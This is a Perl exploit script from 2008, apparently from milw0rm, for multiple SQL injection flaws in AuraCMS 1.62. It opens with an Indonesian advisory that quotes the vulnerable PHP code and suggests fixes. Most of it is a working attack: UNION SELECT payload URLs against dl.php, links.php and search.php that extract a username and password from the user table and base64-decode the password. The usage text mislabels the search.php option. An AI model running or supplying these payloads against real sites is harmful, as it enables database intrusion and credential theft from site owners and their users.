#!/usr/bin/perl
#
# Indonesian Newhack Security Advisory
# ------------------------------------
# AuraCMS 1.62 Multiple Remote SQL Injection Exploit
# Waktu : Feb 15 2008 01:00PM
# Software : AuraCMS
# Versi : 1.62
# Vendor : http://www.auracms.org/
#
# ------------------------------------
# Audit Oleh : NTOS-Team
# Lokasi : Indonesia | http://newhack.org
# Penjelasan :
#
# => Kutu pada berkas /mod/dl.php
# --//--
# 8. $aksi=$_GET[aksi];
# 9. $laporan=$_GET[laporan];
# 10. $kategori=$_GET[kategori]; if(!$kategori) $kategori=$_POST[kategori];
# 11. $kid=$_GET[kid]; if(!$kid) $kid=$_POST[kid];
# 12. $id=$_GET[id]; if(!$id) $id=$_POST[id];
# 13. $submit=$_POST[submit];
# 14. $mulai=$_GET[mulai];
# 15. $hal=$_GET[hal];
# 16. $brokens=$_GET[brokens];
# --//--
# 59.if ($aksi=="lihat"){
# 60.
# 61.$numresult = mysql_query("SELECT * FROM dl WHERE kid='$kid' AND tipe='aktif' ORDER BY id DESC");
# 62.
# 63.$jmlrec = mysql_num_rows($numresult);
# --//--
# jika magic_quotes_gpc = off pada server maka pengguna dapat memanipulasi pernyataan SQL secara remote pada variabel "kid"
# Contoh;
# http://site.korban/auracms162/index.php?pilih=dl&mod=yes&aksi=lihat&kategori=&kid=-9'[SQLI]
#
# => Kutu pada berkas /mod/links.php
# --//--
# 8. $aksi=$_GET[aksi];
# 9. $kategori=$_GET[kategori]; if(!$kategori) $kategori=$_POST[kategori];
# 10. $kid=$_GET[kid]; if(!$kid) $kid=$_POST[kid];
# 11. $id=$_GET[id]; if(!$id) $id=$_POST[id];
# 12. $submit=$_POST[submit];
# 13. $mulai=$_GET[mulai];
# 14. $hal=$_GET[hal];
# 15. $brokens=$_GET[brokens];
# 16. $laporan=$_GET[laporan];
# --//--
# 59.if ($aksi=="lihat"){
# 60.
# 61.$numresult = mysql_query("SELECT * FROM links WHERE kid='$kid' AND tipe='aktif' ORDER BY id DESC");
# 62.
# 63.$jmlrec = mysql_num_rows($numresult);
# --//--
# jika magic_quotes_gpc = off pada server maka pengguna dapat memanipulasi pernyataan SQL secara remote pada variabel "kid"
# Contoh;
# http://site.korban/auracms162/index.php?pilih=links&mod=yes&aksi=lihat&kategori=&kid=-9'[SQLI]
#
# => Kutu pada berkas /search.php
# --//--
# 8. $query=$_GET[query];
# --//--
# 19. $perintah="SELECT * FROM artikel WHERE ((judul LIKE '%$query%' OR konten LIKE '%$query%' OR user LIKE '%$query%')AND publikasi=1)";
# 20. $hasil=mysql_query($perintah, $koneksi_db);
# 21. $jumlah1=mysql_numrows($hasil);
# 22.
# 23. $perintah="SELECT * FROM halaman WHERE (judul LIKE '%$query%' OR konten LIKE '%$query%')";
# 24. $hasil=mysql_query($perintah, $koneksi_db);
# 25. $jumlah2=mysql_numrows($hasil);
# --//--
# jika magic_quotes_gpc = off pada server maka pengguna dapat memanipulasi pernyataan SQL secara remote pada variabel "query"
# Contoh;
# http://site.korban/index.php?query=t4mugel4p')[SQLI]&pilih=search
#
# => perbaikan sederhana
# pada berkas "mod/dl.php" dan "mod/links.php"
# ubah kode ;
# $kid=$_GET[kid]; if(!$kid) $kid=$_POST[kid];
# menjadi
# $kid=(int)$_GET[kid]; if(!$kid) $kid=(int)$_POST[kid];
# dan buat magic_quotes_gpc = on pada server
# pada berkas "/search.php" buat fungsi penyaringan "query" dan hidupkan magic_quotes_gpc
#
# => Perhatian!
# "Exploit ini dibuat untuk pembelajaran, pengetesan dan pembuktian dari apa yang kami pelajari"
# Segela penyalahgunaan dan kerusakan yang diakibat dari exploit ini bukan tanggung jawab kami
#
# =>Newhack Technology, OpenSource & Security
# ~ NTOS-Team->[fl3xu5,k1tk4t,opt1lc] ~
use LWP::UserAgent;
use Getopt::Long;
use MIME::Base64;
if(!$ARGV[2])
{
print "\n |-------------------------------------------------------|";
print "\n | Indonesian Newhack Technology |";
print "\n |-------------------------------------------------------|";
print "\n | AuraCMS 1.62 Multiple Remote SQL Injection Exploit |";
print "\n | Coded by NTOS-Team |";
print "\n |-------------------------------------------------------|";
print "\n[!] ";
print "\n[!] Exploit Berhasil jika magic_quotes_gpc = off pada server";
print "\n[!] Penggunaan : perl aura162sqli.pl [Site] [Path] [Option]";
print "\n[!] [Option] 1 = dl.php | 2 = links.php | 2 = search.php ";
print "\n[!] Contoh : perl aura162sqli.pl localhost /aura162/ -o 1";
print "\n[!] ";
print "\n";
exit;
}
$site = $ARGV[0]; # Site Target
$path = $ARGV[1]; # Path direktori vKios
%options = ();
GetOptions(\%options, "o=i",);
if($options{"o"} && $options{"o"} == 1)
{
$sql = "http://".$site.$path."index.php?pilih=dl&mod=yes&aksi=lihat&kategori=&kid=-999'union+select+concat(0x74346d7520,user,0x20673074),0,0,concat(0x67656c347020,password,0x20673074),0,0,0,0,0,0%20from%20user+limit+0,1/*";
}
if($options{"o"} && $options{"o"} == 2)
{
$sql = "http://".$site.$path."index.php?pilih=links&mod=yes&aksi=lihat&kategori=&kid=-999'union+select+concat(0x74346d7520,user,0x20673074),0,0,concat(0x67656c347020,password,0x20673074),0,0,0,0,0,0%20from%20user+limit+0,1/*";
}
if($options{"o"} && $options{"o"} == 3)
{
$sql = "http://".$site.$path."index.php?query=1nj3ks1')union+select+0,concat(0x74346d7520,user,0x20673074),concat(0x67656c347020,password,0x20673074)+from+user+limit+0,1/*&pilih=search";
}
$www = new LWP::UserAgent;
print "\n\n [!] Injeksi SQL \n";
$res = $www -> get($sql) or err();
$hasil = $res -> content;
if( $hasil =~ /t4mu (.*?) g0t/ )
{
print "\n [+] Username : $1";
$hasil =~ /gel4p (.*?) g0t/ , print "\n [+] Password : $1";
print "\n [+] base64 decode : "; print decode_base64($1); print "\n\n"
}
else
{
print "\n [-] Exploit gagal ;) - magic_quotes_gpc = on";
exit();
}
# milw0rm.com [2008-02-16]